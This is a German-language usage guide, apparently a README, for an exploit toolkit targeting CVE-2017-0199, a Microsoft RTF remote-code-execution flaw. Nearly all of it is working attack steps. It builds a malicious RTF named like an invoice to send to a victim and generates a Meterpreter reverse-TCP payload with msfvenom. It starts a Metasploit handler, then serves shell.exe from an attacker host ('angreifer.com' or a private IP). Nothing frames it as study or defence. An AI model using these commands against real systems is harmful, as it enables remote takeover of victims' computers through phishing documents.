CVE-2017-0199

Exploit-Toolkit CVE-2017-0199 - v2.0 ist ein praktisches Python-Skript, das eine schnelle und effektive Möglichkeit bietet, Microsoft RTF RCE auszunutzen. Es kann eine bösartige RTF-Datei generieren und Metasploit- / Meterpreter-Payloads an das Opfer ausliefern, ohne dass eine komplexe Konfiguration erforderlich ist.

Versionshinweise:

Das Skript bietet nun folgende Funktionen:

• Generieren einer bösartigen RTF-Datei mit dem Toolkit
• Ausführen des Toolkits in einem Exploitation-Modus als kleiner HTA- + Webserver Version: Python-Version 2.7.13

Beispiel:

Schritt 1: Generieren Sie eine bösartige RTF-Datei mit folgendem Befehl und senden Sie sie an das Opfer

Syntax:

python cve-2017-0199_toolkit.py -M gen -w <filename.rtf> -u http://angreifer.com/test.hta

Beispiel:

python cve-2017-0199_toolkit.py -M gen -w Invoice.rtf -u http://192.168.133.128/logo.doc

Schritt 2 (optional, falls MSF-Payload verwendet wird): Generieren Sie den Metasploit-Payload und starten Sie den Handler

Beispiel:

Payload generieren:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > /tmp/shell.exe

Handler starten:

msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.133.128; run"

Schritt 3: Starten Sie das Toolkit im Exploitation-Modus, um Payloads auszuliefern

Syntax:

python cve-2017-0199_toolkit.py -M exp -e http://angreifer.com/shell.exe -l </tmp/shell.exe>

Beispiel:

python cve-2017-0199_toolkit.py -M exp -e http://192.168.133.128/shell.exe -l /tmp/shell.exe